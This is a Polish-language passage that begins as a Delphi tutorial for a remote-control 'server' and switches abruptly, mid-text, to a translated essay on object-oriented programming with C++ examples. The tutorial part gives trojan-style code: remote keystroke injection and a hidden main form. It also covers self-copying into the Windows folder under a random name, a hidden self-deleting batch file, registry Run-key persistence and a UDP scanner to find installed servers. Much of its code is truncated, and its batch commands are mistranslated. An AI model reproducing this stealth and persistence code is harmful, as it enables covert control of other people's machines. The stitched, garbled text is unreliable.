Ważne jest aby dodać 'Jpeg' do listy uses Unit1 ponieważ mamy zamiar pracować z nimi. Przchodzimy do File, Save all. Zapisujemy Unit2 w tym samym folderze co Unit1 naszego Klienta. Teraz kompilujemy każdą część aplikacji. Jeśli otrzymamy pole 'Information' mówiące o odniesieniu do Form2, kliknij Yes. OK, uruchamiamy i testujemy nasz Buton. Form2 pokaże zrzut ekranowy jaki pobraliśmy. Jest jednak haczyk jak zauważyłeś. Kiedy ma zrzut ekranowy, nie można się go pozbyć. Wróćmy do Unit2 naszego Klienta. Stworzymy zdarzenie OnClick dla Image1 na Form2 i wstawmy kod:
Form2.Hide;
Tworzymy zdarzenie OnKeyPress dla Form2 i wstawmy tę samą linię. Teraz kliedy klikniemy na zrzucie ekranowym, zostanie ukryty. Skompilujmy i przetestujmy. Możemy również chcieć dodać inny Button abu pokazać zrzut ekranowy, co jest łatwe - dodajemy Button i wstawiamy w OnClick : 'Form2.Show'
Jak pokazać obraz na odległej maszynie
Ta funkcja będzie wyświetlała obrazek na odległej maszynie na środku ekranu
Klient
Umieszczamy Button i Edit na formatce. Zmieniamy nagłówek Buttona na 'Pokaż obrazek' i zmień nazwę Edita na PicPath. Zdarzenie OnClick dla Buttona:
procedure TForm1.Button7Click(Sender: TObject);
begin
if Button7.Caption = 'Pokaż obrazek' then
begin
ClientSocket1.Socket.SendText('
Button7.Caption := 'Usuń obrazek';
end
else begin
ClientSocket1.Socket.SendText('
Button7.Caption := 'Pokaż obrazek';
end;
end;
Serwer
Najpierw będziemy pracować na kodzie pokazując obrazek. Tu mamy zdarzenie OnClientRead idientyfikatora kodu:
if Pos('
begin
Delete(Buf, 1, 11);
GlobalBuf := Buf;
ShowThePicture;
end;
Usuwamy znacznik, przypisujemy GlobalBuf zawartość Buf potem wywołujemy:
procedure TForm1.ShowThePicture;
begin
if FileExists(GlobalBuf) then
begin
try
Form2.Image1.Picture.LoadFromFile(GlobalBuf);
Form2.Show;
ServerSocket1.Socket.Connections[0].SendText
('
except
ServerSocket1.Socket.Connections[0].SendText
('
end;
end
else begin
ServerSocket1.Socket.Connections[0].SendText
('
end;
end;
Musimy załadować obrazek do Image na Form2. Przejdźmy do File, New, Form. Wstawiamy komponent Image na Form2 i ustawiamy jego właściwość Align na alClient. Usuwamy obramowanie z tej formatki (ustawiamy właściwość BorderStyle Form2 na bsNone) i ustawiamy właściwość Position na poScreenCenter. Jeśli ustawiamy właściwość FormStyle Form2 na fsStayOnTop, ta formatka pokazuje obrazek zawsze na górze. Również ustawiamy właściwość Stretch Image na True. Teraz wstawiamy kod usunięcia obrazka. Przechodzimy do OnClientRead w Unit1 i wpisujemy:
if Pos('
begin
Form2.Hide;
Socket.SendText('
end;
Przed kompilacją : File, Save All - i zapisujemy Unit2 w tym samym folderze co Unit1. Teraz kompilujemy wszystko i jeśli pojawi się pole Information o odniesieniu do Unit2, klikamy Yes. Teraz musimy wstawić położenie obrazka do pokazania na odległej maszynie w PicPath i kliknąć nasz Button
Jak odtworzyć plik .wav
Użyjemy funkcji API:
sndPlaySound(PChar(WavPathAndFileName), SND_ASYNC);
Musimy wysłać ścieżkę .WAV i nazwę pliku a potem pobrać informację do zmiennej łańcuchowej i przekazać to jako PChar jako pierwszy parametr tej funkcji. Zwrava True jeśli zakończy się powodzeniem
Jak pisać na zdalnym systemie
Pozwala ci to wpisyać coś do Edit i mieć to co wpisałeś, wpisane na zdalnej maszynie w aktywnym oknie. Aktywne okno jest to okno na którym się skupiamy w tym punkcie w danym czasie. Będziemy mieli dwa tryby : 'tryb wpisania' włączony i 'tryb wpisywania' wyłączony i będziemy korzystać z CheckBox do przełączania między trybami. Jeśli przełączymy na tryb wpisywania włączony, będziemy mogli pisać na zdalnej maszynie. Do tego celu użyjemy komponentu ,który musimy pobrać a który nazywa się SendKeys. Można go pobrać stąd:
http://www.torry.net/vcl/system/keys/sendkeys.zip
Rozpakowujemy SendKeys.zip do folderu gdzieś w systemie i przechodzimy do Delphi. Przechodzimy do Component, Install Component i Browse dla znalezienia nazwy pliku Unit. Unit jakiego potrzebujemy to SendKeys.pas. Otwieramy Unit a potem klikamy OK dla zainstalowania komponentu. Pojawi się pole potwierdzenia, kliknij Yes. Teraz pole informacyjne, kliknij OK - a Delphi początkowo otworzy SendKeys.pas. Komponent jest instalowany więc idziemy do File, Close All. Upewnij się ,że kliknąłeś Yes w polu potwierdzenia stanowiący ,że zapisałeś zmiany w projekcie dclusr. Teraz wracamy do folderu SendKeys i szukamy pliku SendKeys.dcu. Kopiujemy ten plik i wklejamy di Delphi\Lib. W palecie komponentów powinien pojawić się nowy komponent.
Klient
Umieszczamy Edit i komponent CheckBox na formatce. Zmieniamy Name Edita na TyperBox. Zmieniamy nagłówek CheckBox na 'OFF' i tworzymy zdarzenie OnClick dla niego z poniższym kodem:
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if CheckBox1.Checked = TRUE then
begin // chcemy być wpisanie w trybie wpisywania
CheckBox1.Caption := 'ON!';
DisableComponents; // wywołujemy procedurę dla zablokowania komponentów
ClientSocket1.Socket.SendText('
end
else begin // wyłączamy tryb
CheckBox1.Caption := 'OFF';
ClientSocket1.Socket.SendText('
EnableComponents; // wywołujemy procedurę do odblokowania komponentów
end;
end;
Kiedy klikniemy nasz CheckBox, nagłówek zmieni się na 'ON' a żądanie będące w trybie wpisywania zostanie wysłane do Serwera przez wysłanie znacznika : '
OK nasze zdarzenie OnKeyPress TyperBox powinien wyglądać tak:
procedure TForm1.TyperBoxKeyPress(Sender: TObject; var Key: Char);
var
KeySend : string;
begin
if CheckBox1.Checked = TRUE then
begin
KeySend := Key; // przypisujemy KeySend naciśnięty klawisz.
ClientSocket1.Socket.SendText(KeySend);
if (Key = #13) then // jeśli naciśniemy Enter,, czyścimy
begin // TyperBox i dodajemy klawisze do Memo.
Memo1.Lines.Add('** Wpisany Klawisz: ' TyperBox.Text);
TyperBox.Clear;
Key := #0;
end;
end;
end;
Serwer
Umieszczam komponent SendKeys na formtce Serwera. Teraz będziemy musieli dodać nowy przełącznik dla naszego TerverStatus. Dodajemy 'SSTyperMode':
TServerStatus = (SSIdle, SSReceivingFile, SSTyperMode);
Teraz przejdziemy do zdarzenia OnClientRead i dodamy te identyfikatory znacznika:
if Pos('
begin
Delete(Buf, 1, 11);
SState := SSTyperMode;
end;
if Pos('
begin
SState := SSIdle;
end;
Kod naszego nowego przełącznika jest następujący. Wstawiamy to do bloku instrukcji case:
SSTyperMode:
begin
SendKeys1.SendKeys(Buf);
end;
I to wszystko. Ta linia będzie używała komponentu SendKeys i wysyłamy Buf do aktywnego okna .Kompilujemy i testujemy
Jak ukryć formatkę Serwera
Pozwoli to uczynić uruchomiony Serwer niewidoczny. Wymaga to zmiany pliku źródłowego projektu. Źródłem projektu jest plik .DPR, który zawiera kod startowy aplikacji. Przejdźmy do Serwera i kliknijmy Project, View Source. Dodamy tam pogrubioną linię :
begin
Application.Initialize;
Application.ShowMainForm := False;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
Application.Run;
end.
Jak zrobić samoinstalujący się serwer pod losową nazwą
Kiedy Serwer jest uruchomiony będzie przenosił się do folderu Windows pod losowo wygenerowaną nazwą i stamtąd uruchamiany.
Zaczniemy w zdarzeniu OnCreate naszej formatki :
procedure TForm1.FormCreate(Sender: TObject);
var
GetWinDir : array [0..255] of Char;
WinDirNoSlash : string;
begin
{1} CurrentDir := ExtractFilePath(ParamStr(0)); // np:\MójSerwer\
{2} GetWindowsDirectory(GetWinDir, 255);
{3} WinDirNoSlash := GetWinDir; // np:\windows
WindowsDir := WinDirNoSlash + '\'; // np:\windows\
{4} DriveOfWin := Copy(WindowsDir, 1, 3);
ServerName := RandomName;
{5} if (CurrentDir <> WindowsDir) then
begin
// tu nie jesteśmy w katalogu windows.
// kopiujemy nasz serwer do folderu windows pod losowo
// wygenerowaną nazwą.
{6} CopyFile(PChar(ParamStr(0)), PChar(WindowsDir + ServerName),
TRUE);
// zamykmay naszą aplikację wyzwalając zdarzenie OnDestroy
Application.Terminate;
end;
end;
Będziemy musieli zadeklarować poniższe zmienne łańcuchowe globalne na tym etapie:
CurrentDir,
WindowsDir,
ServerName,
DriveOfWin : string;
1.Tu pobieramy ścieżkę do naszego Serwera i przypisujemy do CurrentDir
2.Wywołujemy funkcję API GetWindowsDirectory, która zwraca pełną ścieżkę do katalogu Windows i przypisujemy do niego tablicę GetWinDir
3.Musimy pobrać katalog Windows do łańcucha więc musimy przypisać zawartość tablicy do łańcucha WinDirNoSlash. Zmienna nazywa się WinDirNoSlash ponieważ ścieżka zwraca przez GetWindowsDirectory będzie podobna do takiej : 'c:\windows' bez backslaha na końcu - więc kolejnym krokiem jest przypisanie aktualnego WindowsDir wartością WinDirNoSlash i dodajemy '\'
4.Tu kopiujemy nasze pierwsze 3 znaki WindowsDir, które będą napędem katalogu Windows. Wykorzystamy tą informację później. Kolejnym krokiem jest wygenerowanie losowej nazwy dla naszego Serwera przez wywołanie funkcji którą napiszemy za chwile.
5.Tu sprawdzamy czy katalog naszego Serwera nie jest równy katalogowi Windows. Jeśli nie jest równy, oznacza to ,że nie jesteśmy w katalogu Windows.
6.ParamStr(0) jest funkcją która zwraca ścieżkę i nazwę programu wykonywalnego, w naszym przypadku będzie to coś takiego: c:\MójSerwer\Serwer.exe.
Kopiujemy Serwer do katalogu Windows pod losowo wygenrowaną nazwą (ServerName). Teraz chcemy zamknąć i usunąć bieżącą wersję i uruchamiamy wersję w katalogu Windows. Zdarzenie OnDestroy jest wyzwalane przed zamknięciem aplikacji. W tym zdarzeniu możemy zakodować usuwanie Serwera i wywołanie serwera z katalogu Windows. Jest to robione przez tworzenie i wywołanie pliku BATCH (lub bat). Tworzymy go w ten sam sposób jak plik tekstowy ale z rozszerzeniem .BAT. Tworzymy nową aplikację i umieszczamy Button na formatce z poniższym kodem OnClick:
procedure TForm1.Button1Click(Sender: TObject);
var
BatName : string;
BatFile : TextFile; // typ używany do manipulowania plikami tekstowymi.
begin
BatName := 'c:\MyBatFile.bat';
AssignFile(BatFile, BatName); // przypsiujemy TextFile do BatName
Rewrite(BatFile); // tworzymy nowy plik i otwieramy do zapisu.
Writeln(BatFile, 'c:'); // zapisujemy linię do TextFile.
Writeln(BatFile, 'cd\');
Writeln(BatFile, 'md NowyFolder');
CloseFile(BatFile); // zamykamy TextFile
end;
Wypróbujmy to. Klikamy na Buttow tworzący plik ; c:\MyBatFile.bat zawierający kod dla stworzenia folderu nazwanego 'NowyFolder' na c:\. Spójrzmy teraz na zdarzenie OnDestroy:
procedure TForm1.FormDestroy(Sender: TObject);
var
BatName : string;
BatFile : TextFile;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
if (CurrentDir <> WindowsDir) then
begin
{1} BatName := WindowsDir + '$$33tmp6699.bat';
AssignFile(BatFile, BatName);
Rewrite(BatFile);
{-} Writeln(BatFile, ':try');
{|} Writeln(BatFile, 'del "' + ParamStr(0) + '"');
{|} Writeln(BatFile, 'jeśli istnieje "'+ParamStr(0)+'"' + ' idź do try');
{|} Writeln(BatFile, DriveOfWin);
{2} Writeln(BatFile, 'cd\');
{|} Writeln(BatFile, 'cd ' + WindowsDir);
{|} Writeln(BatFile, ServerName);
{|} Writeln(BatFile, ':delbat');
{|} Writeln(BatFile, 'del "' + BatName + '"');
{-} Writeln(BatFile, 'jeśli istnieje "' + BatName + '" idź do delbat');
CloseFile(BatFile);
{ cały poniższy kod jest dla uruchomienia ukrytego bat }
{3} FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;
end;
Jest to dużo prostsze niż wygląda.
1.Tu przypisujemy do BatName ścieżkę katalogu Windows a '$$33tmp6699.bat' jest czasową nazwą bat, który będzie usuwany kiedy wykona swoją robotę.
2.Tu zapisujemy kod do pliku $$33tmp6699.bat :
:try
del "c:\MyServer\Server.exe"
jeśli istnieje "c:\MyServer\Server.exe" idź do try
c:\
cd\
cd c:\windows\
Assdfdemsdf.exe
:delbat
del "c:\windows\$$33tmp6699.bat"
jeśli istnieje "c:\windows\$$33tmp6699.bat" idź do delbat
Assdfdemsdf.exe jest przykładem losowo wygenerowanej nazwy naszego serwera. To dość proste; ten bat usuwa nasz serwer w jego obecnej lokalizacji i nazwę ,a potem uruchamia nowy serwer. Następnie bat usuwa się sam.
3.Poniższy kod uruchamia nasz ukryty bat. Używamy funkcji API dla stworzenia ukrytego procesu dla naszego bat. Teraz zakodujmy funkcję RandomName:
function TForm1.RandomName: string;
var
NameBuf1 : array[0..4] of string;
Letters : array[0..2] of string;
NameBuf2 : string;
begin
NameBuf1[0] := 'Sfctriyc';
NameBuf1[1] := 'Wjcuiuwe';
NameBuf1[2] := 'R2gcater';
NameBuf1[3] := 'Ptdsetfo';
NameBuf1[4] := 'Mngmeg23';
Letters[0] := 'qwertyuioplkjhgfdsazxcvbnm';
Letters[1] := 'zaqxswcdevfrbgtnhymjukilop';
Letters[2] := 'mznxbcvlaksjdhfgqpwoeiruty';
Randomize;
NameBuf2 := NameBuf1[Random(5)];
NameBuf2 := Copy(NameBuf2, 1, Random(5)) +
Copy(Letters[Random(3)], Random(23), 3) +
Copy(NameBuf2, 5, Random(3));
if (Length(NameBuf2) <> 8) then
begin
NameBuf2 := NameBuf2 + Copy(Letters[Random(3)], 10, 8
Length(NameBuf2));
end;
NameBuf2 := NameBuf2 + '.exe';
if FileExists(WindowsDir + NameBuf2) = False then
begin
Result := NameBuf2;
end
else begin
Result := 'Sfctriyc.exe';
end;
end;
To jest nasz sposób na generowanie nazwy. Oczywiście jeśli masz lepszy sposób na tę funkcje, możesz ją napisać. Dołączamy tę funkcję do aplikacji i jesteśmy gotowi do kompilacji i testowania. Krótki opis powyższej funkcji:
Najpierw przypisujemy każdemu indeksowi tablicy NameBuf1 nazwę. Wtedy kolejna tablica : Letters - ma każdy indeks z przypisaną inną sekwencja alfabetu.
Wywoływana jest procedura Randomize ,która inicjuje generator liczb losowych Delphi. Musimy wywołać tą procedurę przez wygenerowaniem liczb losowych Random (), ale wywołujemy ją raz. Następnie, NameBuf2 ma przypisaną wartość z jednego z indeksów tablicy NameBuf1 losowo wybrany przez funkcję Random (). Wtedy przypisujmey NameBuf2 losowymi bitami różnych indeksów tablicy. Jeśli okaże się ,że nazwa nie jest długści 8 znaków wtedy dodawane jest więcej liter. Następnie dodawane jest rozszerzenie .EXE i sprawdzamy czy nazwa pliku już istnieje. Jeśli nie istnieje, nazwa jest zwracana z tej funkcji. Jeśli istnieje, nazwą serwera będzie Sfctriyc.exe.
Jak uruchamiać serwer przy każdym starcie systemu
Jest kilka metod na uruchomienie aplikacji przy starcie systemu, jednak najbardziej profesjonalną metodą jest wstawienie klucza do rejestru systemowego. Przejdź do Start, Uruchom i wpisz 'regedit'. Przeniesie cię to do Edytora Rejestru który zawiera informacje o
programach i Windows. Przejdź do kolejnych folderów:
HKEY_LOCAL_MACHINE
Software
Microsoft
Windows
CurrentVersion
Wybierz potem folder Run - zobaczysz wszystkie programy uruchamiające się przy starcie systemu. Przejdź do Edit, New, String Value i wpisz jakąś nazwę. Kliknij prawym klawiszem myszki na tej nazwie i wybierz Modify. Wpisz ścieżkę do programu i kliknij OK. Wracamy do zdarzenia OnCreate. Poniżej linii w której kopiujemy Serwer do katalogu Windows wstaw kod:
Registry := TRegistry.Create;
Registry.RootKey := HKEY_LOCAL_MACHINE;
Registry.OpenKey ('Software\Microsoft\Windows\CurrentVersion\Run',
True);
Registry.WriteString('MyServerStringName', WindowsDir +
ServerName);
Registry.CloseKey;
Registry.Free;
Powinieneś to wstawić przed linią Application.Terminate. Również musisz zadeklarować zmienną lokalną : Registry:TRegistry - i 'Registry' na liście uses.
Teraz możemy skompilować i przetestować to - i sprawdzić Edytor Rejestru i spojrzeć na klucz Run aby zobaczyć co tam się dzieje. Zwróć uwagę ,że chcesz zmienić MyServerStringName na coś przyjemniejszego. Co tu robimy: Wykorzystujemy obiekt VCL Registry Delphi i jego właściwości oraz metdo dla dodania wartości łańcuchowej do rejestru. Najpierw tworzymy obiekt TRegistry. Potem ustawiamy RootKey, otwieramy klucz Run jaki gdzie chcemy dodać tu wartość łańcuchową. Otwieramy nasz klucz metodą OpenKey TRegistry. Pierwszym wymaganym parametrem jest ścieżka dostępu, a drugim wartość logiczna, Określenie True oznacza ,że tylko tworzymy klucz jeśli jest to konieczne. Następnie zapisujemy łańcuch do otwartego klucza a potem zamykamy klucz. W końcu zwalniamy obiekt TRegistry który zwalnia powiązaną z nim pamięć.
Jak oprogramować skaner dla serwera (UDP)
Dla tej funkcji użyjemy protokołu UDP (User Datagram Protocol). Jest protokołem bezpołączeniowym oznaczającym ,że nie musimy czekać na połączenie za każdym razem, możemy tylko wysłać pakiet, przenieść się do kolejnej maszyny i wysłać inny pakiet. Będziemy wykorzystywać komponenty Indy.
Serwer
Po stronie serwera użyjmey komponentu IdUDPServer nasłuchującego pakietów UDP na pewnym porcie, a jeśli odbierze pakiet - wyśle odpowiedź. Robimy to w zdarzeniu OnUDPRead. Dobrym pomysłem jest dodanie komponentu IdAntiFreeze do formatki z właściwością OnlyWhenIdle ustawioną na True. Jest to przydatny komponent ponieważ zabezpiecza przed zawieszeniem aplikacji
Skanerv
Musimy zbudować aplikację skanera. Możemy użyć IdUDPClient do wysłania pakietów do pewnej podsieci z IP - a potem zwiększyć ostatnią cyfrę podsieci o 1 i wysłać inny pakiet do tej maszyny w pętli. Możemy ponownie użyć komponentu IdUDPServer , ale nasłuchujmey pakietów UDP na tym samym porcie na jakim wysyła Serwer swoją odpwoiedź - a potem dodajemy odpowiedzi w Memo
Co to jest programowanie obiektowe
Nie wszystkie języki programowanie mogą być "zorientowane obiektowo". Ale APL, Ada, Clu, C++ i Smaltalk są językami obiektowymi. "Obiektowy" w wielu kręgach stał się synonimem "dobry", a w prasie branżowej można było znaleźć takie sylogizmy:
-Ada jest dobra
-Obiektowość jest dobra
-------------------------------
-Ada jest obiektowa
Po prostu musimy być bardziej ostrożni w naszych pojęciach i logice. Artykuł ten przedstawia spojrzenie na to co powinno oznaczać "zorientowany obiektowo" w kontekście języków programowania ogólnego przeznaczenia. Przykłady będą podawane w C++. Powodem tego jest to ,że język C++ jest jednym z kilku języków, które wspierają abstrakcję danych i programowanie obiektowe dodatkowo do tradycyjnych technik programowania.
2.Paradygmaty programowania
Programowanie obiektowe jest techniką programowania - paradygmatem dla pisania "dobrych" programów dla zbioru problemów. Jeśli termin "język programowania obiektowego" coś oznacza, musi oznaczać język programowania, który udostępnia mechanizmy ,które wspierają obiektowy styl programowania. Tu istnieje istotna różnica. Mówi się ,że język wspiera styl programowania jeśli dostarcza udogodnień, które umożliwiają wygodne (dość proste, wydajne i bezpieczne) zastosowanie tego stylu. Język nie obsługuje techniki jeśli wymaga dodatkowego wysiłku i umiejętności w pisaniu takich programów; jedynie pozwala stosowanie tej techniki. Na przykład, możesz napisać programy strukturyzowane w Fortranie, pisać bezpieczne programy w C i użyć abstrakcji danych w Modula-2, ale jest to trudne ponieważ języki te nie wspierają tych technik .Wsparcie dla paradygmatu jest nie tylko oczywistą postacią narzędzi języka ,które pozwalają na bezpośrednie zastosowanie tego paradygmatu, ale również w bardziej subtelnej formie czasu kompilacji i
/lub w czasie wykonania, kontrolę przed przypadkowym odchyleniem od paradygmatu. Najbardziej oczywistym przykładem tego jest sprawdzanie typu. Niejednoznaczność wykrywania i sprawdzania w czasie uruchamiania może być zastosowane dla rozszerzenia wsparcia językowego dla paradygmatów. Pozajęzykowe udogodnienia takie jak biblioteki standardowe i środowiska programistyczne mogą również dostarczyć znaczącego wsparcia dla paradygmatów. Jeden jeżyk nie jest koniecznie lepszy od innego, ponieważ posiada tą funkcję a inny nie. Istnieje na to wiele przykładów. Ważną kwestią jest nie to co język posiada ale czy posiadane funkcję są wystarczające dla wsparcia pożądanego stylu programowania w wybranym obszarze zastosowań:
1.Wszystkie funkcje muszą być dokładnie i elegancko zintegrowane w języku
2.Musi być możliwe stosowanie funkcji w połączeniu , w celu osiągnięcia rozwiązań, które w przeciwnym razie wymagałoby dodatkowy oddzielnych funkcji
3.Powinno być jak najmniej fałszywych i "specjalnego przeznaczenia" funkcji
4.Funkcja powinna być taka ,że jej realizacja nie nakłada znaczących kosztów na programy, które jej nie wymagają
5.Użytkownik musi znać jedynie podzbiór języka wyraźnie stosowany do pisania programu
Ostatnie dwie zasady mogą być podsumowane jako "to czego nie wiemy, nie boli". Jeśli istnieją jakiekolwiek wątpliwości co do przydatności funkcji, lepiej ją pominąć. Dużo łatwiej jest dodawać funkcje do języka niż usuwać lub modyfikować tą , która znalazła swoją drogę do kompilatorów. Przedstawimy kilka styli programowania i kluczowych mechanizmów języka koniecznych dla ich wsparcia. Oczywiście nie wyczerpuje to tego tematu.
Programowanie proceduralne
Pierwotny ( i prawdopodobnie jeszcze powszechnie używany) paradygmat programowania brzmi:
"Zdecyduj jakiej procedury chcesz; użyj najlepszych algorytmów jakie możesz znaleźć"
Skupiamy się na projektowaniu przetwarzania, algorytmie koniecznym dla wykonania żądanego obliczenia. Języki wspierają ten paradygmat przez możliwość przekazywania argumentów do funkcji i zwracania wartości z funkcji. Literatura powiązana z tym sposobem myślenia jest wypełniona omówieniami sposobów przekazywania argumentów, sposobów rozróżniania różnych rodzajów argumentów, różnych rodzajów funkcji (procedury, podprogramy, makra
) itp. Fortran jest oryginalnym językiem proceduralnym; Algol60,Algol68,C i Pascal są późniejszymi wynalazkami w tej samej tradycji. Typowym przykładem "dobrego stylu" jest funkcja pierwiastka kwadratowego. Przy danym argumencie , tworzy wynik. Aby to zrobić, wykonuje dobrze znane obliczenia matematyczne:
double sqrt(double arg)
{
// kod dla obliczenia pierwiastka kwadratowego
}
void jakaś_funkcja ()
{
double root2 = sqrt(2);
//
.
}
Z punktu widzenia organizacji programu, funkcje są używane do tworzenia porządku w labiryncie algorytmów.
Ukrywanie danych
Z biegiem lat, nacisk w projektowaniu programów przesunął się od projektowania procedur do organizacji danych. Między innymi odzwierciedla to wzrost rozmiaru programu. Zbiór powiązanych procedur z danymi ,którymi manipulują jest często nazywany modułem. Paradygmat programowania to:
"Zdecyduj jakich modułów chcesz; podziel program tak aby ukryć dane w modułach"
Ten paradygmat jest również znany jako "zasada ukrywania danych". Jeśli nie ma grupowania procedur z powiązanymi danymi, wystarczy styl programowania proceduralnego. W szczególności, techniki dla projektowania "dobrych procedur" są obecnie stosowane dla każdej procedury w module. Najbardziej typowym przykładem jest definicja modułu stosu. Główne problemy jakie należy rozwiązać:
1.Dostarczanie interfejsu użytkownika dla stosu (na przykład funkcje push() i pop() )
2.Upewnienie się ,że reprezentacja stosu (np. wektor elementów) może być tylko dostępny przez ten interfejs użytkownika
3.Upewnienie się ,że stos jest inicjowany przed jego pierwszym użyciem
Oto wiarygodny zewnętrzny interfejs dla modułu stosu:
// deklaracja interfejsu modułu stosu znaków
char pop();
void push(char);
const stack_size = 100;
Zakładając ,że ten interfejs znajduje się w pliku nazwanym stack.h, "wewnętrznie" może być definiowany tak:
#include "stack.h"
static char v[stack_size]; // 'static' oznacza lokalnie do tego pliku/modułu
static char* p = v; // stos jest początkowo pusty
char pop()
{
// sprawdzenie i odłożenie
}
void push(char c)
{
// sprawdzenie i zdjęcie
}
Byłoby całkiem możliwe zmienić reprezentację tego stosu na listę połączoną. Użytkownik nie ma dostępu do tej reprezentacji (ponieważ v i p zadeklarowano statycznie ,to znaczy lokalnie do pliku/modułu w którym zostały zadeklarowane. Taki stos można użyć tak:
#include "stack.h"
void jakaś_funkcja ()
{
push ('c');
char c = pop();
if (c != 'c') error ("niemożliwe");
}
Pascal (zdefiniowany pierwotnie) nie zapewnia odpowiednich możliwości do takiego grupowania : jedynie mechanizm dla ukrywania nazw z " reszty programu" jest tworzony jako lokalny do procedury. Prowadzi to dziwnego zagnieżdżania procedury i nadmiernego polegania na danych globalnych. C wgląda nieco lepiej. Jak pokazano w powyższym przykładzie, można zdefiniować "moduł" przez zgrupowanie powiązanych funkcji i definicji danych razem w pojedynczym pliku źródłowym. Programista może potem kontrolować jakie nazwy są widziane przez resztę programu (nazwa może być widziana przez resztę programu, chyba ,że jest zadeklarowana statycznie). W konsekwencji w C możemy osiągnąć pewien stopień modularności. Jednak nie ma ogólnie przyjętego paradygmatu dla stosowania tej możliwości i techniki w oparciu o deklaracje statyczne są raczej niskopoziomowe. Jeden z następców Pascala ,Modula-2, idzie nieco dalej. To formalizuje pojęcie modułu, czyniąc go fundamentalną konstrukcją języka z dobrze zdefiniowanymi deklaracjami modułu,
wyraźną kontrolą zakresu nazw (import/eksport), mechanizm inicjalizacji modułu i zbiór powszechnie znanych i akceptowanych stylów zastosowania. Różnica między C a Modula-2 w tym obszarze może być podsumowana stwierdzeniem ,że C tylko umożliwia rozkład programu na moduły, podczas gdy Modula-2 wspiera tą technikę
Abstrakcja danych
Programowanie z modułami prowadzi do scentralizowania wszystkich typów danych pod kontrolą typu menadżera modułu. Jeśli ktoś chce dwa stosy, definiuje menadżera modułu stosu z interfejsem jak ten:
class stack_id; //stack_id jest typem
//brak szczegółów o stosach lub stack_id są znane tu
stack_id create_stack(int size); // tworzymy stos i zwraca jego identyfikator
destroy_stack(stack_id); //wywołujemy kiedy stos nie jest dłużej potrzebny
void push(stack_id, char);
char pop(stack_id);
Jest to z pewnością o wiele lepsze od tradycyjnego niestrukturalnego bałaganu, ale "typy" implementowane w ten sposób wyraźnie różnią się od typów wbudowanych w język. Każdy typ menadżera modułu musi definiować oddzielny mechanizm tworzenia "zmiennych" tego typu, nie ma ustalonych norm dla przypisywania identyfikatorów obiektu, "zmienna" tego typu nie ma nazwy znanej kompilatorowi lub w środowisku programistycznym ,ani taka zmienna nie przestrzega zwykłych zasad zakresu ani zasad przekazywania argumentu. Typy tworzone przez mechanizm modułu są w najważniejszych aspektach różne od typów wbudowanych i oferują wsparcie niższe niż w stosunku do wsparcia przewidzianego dla typów wbudowanych. Na przykład:
void f()
{
stack_id s1;
stack_id s2;
s1 = create_stack(200);
// Ups : zapomnieliśmy stworzyć s2
push(s1, 'a');
char c1 = pop(s1);
if (c1 != 'a') błąd ("niemożliwe");
push(s2,'b');
char c2 = pop(s2);
if (c2 != 'b') błąd ("niemożliwe");
destroy_stack(s2);
// Ups : zapomnieliśmy zniszczyć s2
}
Innymi słowy, koncepcja modułu ,który wspiera paradygmat ukrywania danych pozwala na ten styl programowania, ale go nie wspiera. Języki takie jak Ada, Clu i C++ atakują ten problem przez zezwolenie użytkownikowi na definiowanie typów, które zachowują się w (prawie) ten sam sposób jak typy wbudowane. Taki typ jest często nazywany abstrakcyjnym typem danych. Lepszą jednak nazwą byłaby "typ zdefiniowany przez użytkownika".
Paradygmat programowania brzmi:
"Zdecyduj jakich typów chcesz; zapewnij pełny zbiór działań dla każdego typu"
W przypadku gdy nie ma potrzeby więcej niż jednego obiektu tego typu ,wystarcza użycie modułów jako styl programowania z ukrywaniem danych. Typy arytmetyczne takie jak liczby wymierne i zespolone są typowym przykładem typu zdefiniowanego przez użytkownika:
class complex {
double re, im;
public:
complex(double r, double i) {re = r ; im = 1}
complex(double r) { re = r; im = 0;} // konwersja float -> zespolona
friend complex operator+(complex, complex);
friend complex operator-(complex, complex); // minus binarny
firend complex operator-(complex) // minus jednoargumentowy
friend complex operator*(complex, complex);
friend complex operator/ (complex,complex);
//
.
};
Deklaracja klasy (to znaczy typu zdefiniowanego przez użytkownika) complex określa reprezentację liczby zespolonej i zbiór działań na liczbie zespolonej. Reprezentacja jest private, to znaczy, re i im są dostępne tylko dla funkcji określonych w deklaracji klasy complex. Takie funkcje mogą być zdefiniowane tak:
Problemy z abstrakcją danych
Abstrakcyjny typ danych definiuje rodzaj czarnego pola. Kiedy został zdefiniowany, w rzeczywistości nie współdziała z resztą programu. Nie ma sposobu zaadaptowania go do nowego zastosowania wyjątkiem modyfikacji jego definicji. Może to prowadzić do poważnej nieelastyczności. Rozważmy definicję typu shape dla zastosowania w systemie graficznym .Załóżmy na chwilę ,że system musi wspierać okręgi, trójkąty i kwadraty. Załóżmy również ,że mamy klasy :
class point { /*
*/ };
class color { /*
*/ };
Możemy zdefiniować kształt tak:
enum kind {okrąg, trójkąt, kwadrat};
class shape{
point center;
color col;
kind k;
// przedstawiania kształtu
public:
point where () {return center;}
void move(point to) {center = to ; draw(); }
void draw ();
void rotate(int);
// więcej działań
};
"Pole typu" k jest konieczne dla zezwolenia działaniom takim jak draw() i rotate( ) dla określenia na jakiego rodzaju kształcie działają. Funkcja draw () może być zdefiniowana tak:
void shape ::draw()
{
switch (k) {
case okrąg:
// rysujemy okrąg
break;
case trójkąt:
// rysujemy trójkąt
break;
case kwadrat:
// rysujemy kwadrat
}
}
To jest bałagan. Funkcja taka jak draw () musi "wiedzieć" o wszystkich rodzajów kształtów. Dlatego, kod dla takiej funkcji wzrasta za każdym razem kiedy dodajemy nowy kształt do systemu. Jeśli zdefiniujemy nowy kształt, każde działanie na kształcie musi być zbadane (i możliwie) zmodyfikowane. Nie będzie można dodać nowego kształtu do systemu chyba ,że masz dostęp do kodu źródłowego dla każdego działania. Ponieważ dodawanie nowego kształtu obejmuje "dotknięcie" kodu przy każdy ważnym działaniu na kształtach, wymaga dużych umiejętności i potencjalnie wprowadza błędy w kodzie obsługi innych (starszych) kształtów.
Programowanie obiektowe
